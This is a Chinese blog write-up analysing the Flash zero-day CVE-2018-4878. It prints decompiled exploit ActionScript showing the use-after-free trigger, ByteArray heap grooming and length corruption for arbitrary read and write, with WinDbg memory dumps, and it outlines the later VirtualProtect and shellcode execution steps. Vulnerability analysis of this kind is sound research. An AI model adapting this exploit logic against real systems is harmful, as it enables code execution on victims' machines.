欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创] Flash 0day(CVE-2018-4878)分析记录

[原创] Flash 0day(CVE-2018-4878)分析记录

Flash 0day(CVE-2018-4878)分析记录

最近报出的flash 0day,自己闲暇之余,看看究竟。拿到sample以后,上FFDEC,看看decompiled code,简单看一下,发现又是TVSDK,看来后面TVSDK还是会有不少洞的。

   import com.adobe.tvsdk.mediacore.MediaPlayer;

   import com.adobe.tvsdk.mediacore.PSDK;

   import com.adobe.tvsdk.mediacore.PSDKEventDispatcher;

先从code层面整理逻辑,class_2可以看做入口函数,通过DRMManager初始化DRM object,来触发漏洞(后面的调试,可以看出这是一个UAF)。
通过计时器来检查DRM object的a1是不是被修改了,如果已经被修改,则去做利用的部分,思路是ByteArray占位,以及修改ByteArray的Length,获取全地址访问的权限。

      public function class_2(param1:flash01)

      {

         super();

         this.flash01_obj = param1;

         this.method_3();

         try

         {

            var name:* = class_1.method_1(17);

            new LocalConnection().connect(name); // it's necessary for vulnerability

            new LocalConnection().connect(name); // trigger exception

         }

         catch(e:Error)

         {

            drm_obj_2 = new DRMClass();

         }

         this.timer = new Timer(100,1000);

         this.timer.addEventListener(class_1.method_1(33), this.method_2);

         this.timer.start();

      }

      public function method_3() : void

      {

         var psdk:PSDK = null;

         var data14:PSDKEventDispatcher = null;

         psdk = PSDK.pSDK;

         data14 = psdk.createDispatcher();

         this.media_player = psdk.createMediaPlayer(data14);

         this.drm_obj_1 = new DRMClass();

         this.media_player.drmManager.initialize(this.drm_obj_1);

         this.drm_obj_1 = null;

      }

      public function method_2(param1:TimerEvent) : void

      {

         if(this.drm_obj_2.a1 != 4369) // 0x1111

         {

            this.timer.stop();

            if(!Capabilities.isDebugger)

            {

               this.flash25();

            }

            else

            {

               this.flash24();

            }

         }

      }

   public class DRMClass implements DRMOperationCompleteListener

   {

      public var a1:uint = 4369; //0x1111

      public var a2:uint = 8738; //0x2222

      public var a3:uint = 13107; //0x3333

      public var a4:uint = 17476; //0x4444

      public var a5:uint = 21845; //0x5555

      public var a6:uint = 26214; //0x6666

      public var a7:uint = 30583; //0x7777

      public var a8:uint = 34952; //0x8888

      public var a9:uint = 39321; //0x9999

      public var a10:uint = 43690; //0xAAAA

      ...

在触发漏洞之前,DRM object的内存布局

0:005> dd 06f20f70  

06f20f70  00001111 00002222 00003333 00004444

06f20f80  00005555 00006666 00007777 00008888

06f20f90  00009999 0000aaaa 00001111 00002222

06f20fa0  00003333 00004444 00005555 00006666

06f20fb0  00007777 00008888 00009999 0000aaaa

06f20fc0  00001111 00002222 00003333 00004444

06f20fd0  00005555 00006666 00007777 00008888

06f20fe0  00009999 0000aaaa 00001111 00002222

漏洞触发的时候,可以发现相应的a1已经被设置为0,继续跟进call stack,可以发现前几个function大致是这样的:delete script_object --> script_object destructor --> memset

eax=00000000 ebx=07061b80 ecx=00000022 edx=00000000 esi=0000004c edi=0706ff74

eip=6eca81ef esp=02ddd210 ebp=00000000 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202

Flash32_28_0_0_137!IAEModule_IAEKernel_UnloadModule+0x3695cf:

6eca81ef f3ab            rep stos dword ptr es:[edi]

0:005> dd 06f20f70  

06f20f70  00000000 00000000 00000000 00000000

06f20f80  00000000 00000000 00000000 00000000

06f20f90  00000000 00000000 00000000 00000000

06f20fa0  00000000 00000000 00000000 00000000

06f20fb0  00000000 00000000 00000000 00000000

06f20fc0  00000000 00000000 00000000 00000000

06f20fd0  00000000 00000000 00000000 00000000

06f20fe0  00000000 00000000 00000000 00000000

      public function flash25() : void

      {

         // allocate ByteArray object to place freed memory

         this.bae_obj = new ByteArrayExt();

         this.bae_obj.length = 512;

         if(this.drm_obj_2.a14 != 0)

         {

            // how to modify length of ByteArray? refer to following codes and comments

            for(var index:int = 0; index < 5; index++)

            {

               // copy meta data of bytearray object to data area

               this.drm_obj_2.a32 = this.drm_obj_2.a14 + 8 * index + 7;

               this.bae_obj.write_object(index * 2 + 1,this.bae_obj.flash25());

            }

            this.bae_obj.a11 = 0;

            this.var_18 = this.drm_obj_2.a14;

            this.drm_obj_2.a14 = this.drm_obj_2.a31 + 19 * 4 + 16 - 1; // modify meta pointer to bytearray data area

            var key:uint = this.drm_obj_2.a22 ^ this.drm_obj_2.a26;

            this.drm_obj_2.a22 = 0;

            this.drm_obj_2.a23 = 0xffffffff;     // modify lenght/capability of bytearray

            this.drm_obj_2.a24 = 0xffffffff;     // modify lenght/capability of bytearray

            this.drm_obj_2.a26 = this.drm_obj_2.a22 ^ key;

            this.drm_obj_2.a27 = this.drm_obj_2.a23 ^ key;

            this.drm_obj_2.a28 = this.drm_obj_2.a24 ^ key;

            this.drm_obj_2.a29 = this.drm_obj_2.a25 ^ key;

            this.bae_obj.endian = Endian.LITTLE_ENDIAN;

            flash5.flash20(this.bae_obj,this.drm_obj_2);

            this.drm_obj_2.a14 = this.var_18;  // recover meta pointer

            return;

         }

占位以后,ByteArray object的内存布局以及对应的size,可以看到正好是512字节(0x200)

0:005> dd 06f20f70

06f20f70  06f20f78 00000044 6f1c1880 6f1c1888

06f20f80  6f1c187c 6f209984 06dea4c0 08705180

06f20f90  073707f0 00000000 00000000 00000000

06f20fa0  6f1d3db0 [083740b0] 00000000 00000000

06f20fb0  6f1c1874 00000003 00000000 00000011

06f20fc0  00000022 00000033 00000044 00000055

06f20fd0  00000066 00000077 00000088 00000099

06f20fe0  000000aa 000000bb 06f20f61 00000001

0:005> dd 083740b0 

083740b0  6f1c1868 00000001 073964a0 [00000200]

083740c0  [00000200] 00000000 2556b474 226fd2d4

083740d0  226fd2d4 226fd0d4 00000000 00000000

083740e0  00000000 00000000 00000000 00000000

083740f0  00000000 00000000 00000000 00000000

08374100  00000000 00000000 00000000 00000000

08374110  00000000 00000000 00000000 00000000

08374120  00000000 00000000 00000000 00000000

修改Lengh以后,对应的内存布局,如下:

0:005> dd 06f20f70

06f20f70  06f20f78 00000044 6f1c1880 6f1c1888

06f20f80  6f1c187c 6f209984 06dea4c0 08705180

06f20f90  073707f0 00000000 00000000 00000008

06f20fa0  6f1d3db0 [06f20fbc] 00000000 00000000

06f20fb0  6f1c1874 00000003 00000001 6f1c1868

06f20fc0  00000001 00000000 [ffffffff] [ffffffff]

06f20fd0  00000000 226fd0d4 dd902f2b dd902f2b

06f20fe0  226fd0d4 00000000 06f20f61 083740d7

相应修改Length的汇编指令以及action script位置,正好可以对应decompiled code中的class_2/flash25

overwrite capability of bytearray

eax=2520b474 ebx=bf740880 ecx=226fd0d4 edx=00000000 esi=0703feb0 edi=070fb020

eip=07d22d2e esp=02ddd058 ebp=02ddd100 iopl=0         nv up ei ng nz na po cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200283

07d22d2e 8b461c          mov     eax,dword ptr [esi+1Ch] ds:002b:0703fecc=0706ff60

0:005> !py -g flashext.py --lnjit 0x7d22d2e

List near symbol at: 0x7d22d2e

Find near symbol:

class_2/flash25 (0x7d225b8) | class_2/method_2 (0x7d22e6f)

后面就是常用的绕过手法,利用获取的全地址读写来leak flash module基址,然后是kernel32的地址,然后,是VirutualProtect和CreateProcess。shellcode的触发是利用修改Method对象的虚表函数(apply和call),一个用于修改shellcode的保护属性,一个是用于触发shellcode执行。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功